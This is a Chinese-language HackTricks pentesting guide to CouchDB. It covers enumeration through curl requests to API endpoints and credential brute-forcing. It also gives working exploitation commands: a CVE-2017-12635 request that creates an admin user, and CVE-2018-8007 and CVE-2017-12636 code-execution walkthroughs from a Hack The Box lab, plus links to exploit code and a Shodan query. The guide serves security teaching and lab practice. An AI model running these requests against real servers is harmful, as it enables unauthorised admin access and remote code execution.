# 5984,6984 - Pentesting CouchDB
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## **基本信息**
**CouchDB**是一种多功能且强大的**面向文档的数据库**,它使用**键-值映射**结构在每个**文档**内组织数据。文档内的字段可以表示为**键/值对、列表或映射**,提供了数据存储和检索的灵活性。
在CouchDB中,每个存储的**文档**都被分配一个文档级别的**唯一标识符**(`_id`)。此外,对数据库进行的每次修改并保存都会被分配一个**修订号**(`_rev`)。这个修订号允许有效地**跟踪和管理更改**,便于在数据库内轻松检索和同步数据。
**默认端口:**5984(http),6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **自动枚举**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## 手动枚举
### 横幅
```
curl http://IP:5984/
```
这会向已安装的CouchDB实例发出GET请求。回复应该类似于以下内容之一:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
请注意,如果访问couchdb的根目录收到`401 Unauthorized`,类似于这样的消息:`{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问**横幅或任何其他端点。
{% endhint %}
### 信息枚举
以下是您可以使用**GET**请求访问并提取一些有趣信息的端点。您可以在[couchdb文档中找到更多端点和更详细的描述](https://docs.couchdb.org/en/latest/api/index.html)。
- **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程ID。
- **`/_all_dbs`** 返回CouchDB实例中所有数据库的列表。
- **`/_cluster_setup`** 返回节点或集群的状态,根据集群设置向导。
- **`/_db_updates`** 返回CouchDB实例中所有数据库事件的列表。需要存在`_global_changes`数据库才能使用此端点。
- **`/_membership`** 显示作为`cluster_nodes`的集群中的节点。字段`all_nodes`显示此节点知道的所有节点,包括作为集群一部分的节点。
- **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制ID、最近事件的历史记录等其他信息。
- **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,甚至在`completed`和`failed`状态下。对于每个文档,它返回文档ID、数据库、复制ID、源和目标等信息。
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** `/_node/{node-name}`端点可用于确认处理请求的服务器的Erlang节点名称。在访问`/_node/_local`以检索此信息时,这是最有用的。
- **`/_node/{node-name}/_stats`** `_stats`资源返回包含运行服务器统计信息的JSON对象。字面字符串`_local`用作本地节点名称的别名,因此对于所有统计URL,可以将`{node-name}`替换为`_local`,以与本地节点的统计信息交互。
- **`/_node/{node-name}/_system`** `_system`资源返回包含运行服务器各种系统级统计信息的JSON对象。您可以使用`_local`作为`{node-name}`来获取当前节点信息。
- **`/_node/{node-name}/_restart`**
- **`/_up`** 确认服务器正在运行并准备好响应请求。如果[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode)为`true`或`nolb`,端点将返回404响应。
- **`/_uuids`** 从CouchDB实例请求一个或多个通用唯一标识符(UUIDs)。
- **`/_reshard`** 返回已完成、失败、运行、停止和总作业计数以及集群上resharding状态。
可以提取更多有趣信息,如此处所述:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **数据库列表**
```
curl -X GET http://IP:5984/_all_dbs
```
如果该请求以401未经授权的方式回应,则您需要一些有效的凭据来访问数据库:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
为了找到有效的凭证,您可以**尝试**[**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)。
这是一个couchdb的**响应示例**,当您有**足够的权限**来列出数据库时(这只是一个数据库列表):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### 数据库信息
您可以访问数据库名称来获取一些数据库信息(如文件数量和大小):
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **文档列表**
列出数据库中的每个条目
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **读取文档**
读取数据库中文档的内容:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB特权提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
由于Erlang和JavaScript JSON解析器之间的差异,您可以使用以下请求**创建一个具有凭据`hacktricks:hacktricks`的管理员用户**:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**有关此漏洞的更多信息请点击此处**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Erlang Cookie 安全概述**
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
在CouchDB文档中,特别是在有关集群设置的部分([链接](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了CouchDB在集群模式下使用的端口。文档提到,与独立模式一样,端口`5984`被使用。此外,端口`5986`用于节点本地API,而重要的是,Erlang需要TCP端口`4369`用于Erlang Port Mapper Daemon (EPMD),促进Erlang集群内的节点通信。这种设置形成了一个网络,其中每个节点与其他每个节点都相互链接。
关于端口`4369`突出了一个关键的安全警报。如果此端口在互联网或任何不受信任的网络上可访问,系统的安全性将严重依赖于一个称为"cookie"的唯一标识符。这个cookie充当了一个保护措施。例如,在给定的进程列表中,可能会观察到名为"monster"的cookie,表明其在系统安全框架中的操作角色。
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
对于那些想要了解如何在 Erlang 系统中利用这个 "cookie" 实现远程代码执行(RCE)的人,可以阅读专门的章节。该章节详细介绍了利用 Erlang cookie 以未经授权的方式控制系统的方法。您可以**[在这里查看有关滥用 Erlang cookie 实现 RCE 的详细指南](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。
### **通过修改 local.ini 利用 CVE-2018-8007**
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
最近披露的漏洞 CVE-2018-8007 影响了 Apache CouchDB,揭示了利用该漏洞需要对 `local.ini` 文件具有写入权限。尽管由于安全限制,这并不直接适用于初始目标系统,但为了探索目的,对 `local.ini` 文件进行了修改以授予写入访问权限。下面提供了详细的步骤和代码示例,演示了该过程。
首先,通过确保 `local.ini` 文件可写来准备环境,并通过列出权限进行验证:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
为了利用这个漏洞,执行一个curl命令,针对`local.ini`中的`cors/origins`配置。这会在`[os_daemons]`部分注入一个新的origin以及额外的命令,旨在执行任意代码:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
随后的验证显示在 `local.ini` 中注入的配置,将其与备份进行对比以突出显示更改:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
最初,预期的文件(`/tmp/0xdf`)不存在,表明注入的命令尚未执行。进一步调查发现,与CouchDB 相关的进程正在运行,其中一个可能会执行注入的命令:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
通过终止已识别的CouchDB进程并允许系统自动重新启动,触发了注入命令的执行,通过之前丢失的文件的存在得到确认:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
这项探索确认了在特定条件下利用CVE-2018-8007的可行性,特别是需要对`local.ini`文件具有可写访问权限。提供的代码示例和操作步骤为在受控环境中复制利用漏洞提供了清晰指南。
有关CVE-2018-8007的更多详细信息,请参考mdsec发布的公告:[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。
### **使用local.ini写权限探索CVE-2017-12636**
示例[在这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
探讨了一种名为CVE-2017-12636的漏洞,它通过CouchDB进程实现代码执行,尽管特定配置可能会阻止其利用。尽管在线上有许多可用的概念验证(POC)参考,但需要调整才能利用CouchDB版本2上的漏洞,与通常被瞄准的版本1.x不同。初始步骤涉及验证CouchDB版本并确认预期的查询服务器路径不存在。
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
为了适应CouchDB 2.0版本,使用了新的路径:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
尝试添加和调用新的查询服务器时遇到了与权限相关的错误,如下输出所示:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
进一步调查发现`local.ini`文件存在权限问题,无法写入。通过使用root或homer访问权限修改文件权限,就可以继续进行:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
随后尝试添加查询服务器成功,响应中没有错误消息。通过文件比较确认成功修改了 `local.ini` 文件:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
接下来的过程包括创建一个数据库和一个文档,然后尝试通过自定义视图映射到新添加的查询服务器来执行代码:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
一个**[摘要](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**和一个替代有效载荷提供了在特定条件下利用CVE-2017-12636的更多见解。利用此漏洞的**有用资源**包括:
- [POC利用代码](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database条目](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## 参考资料
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。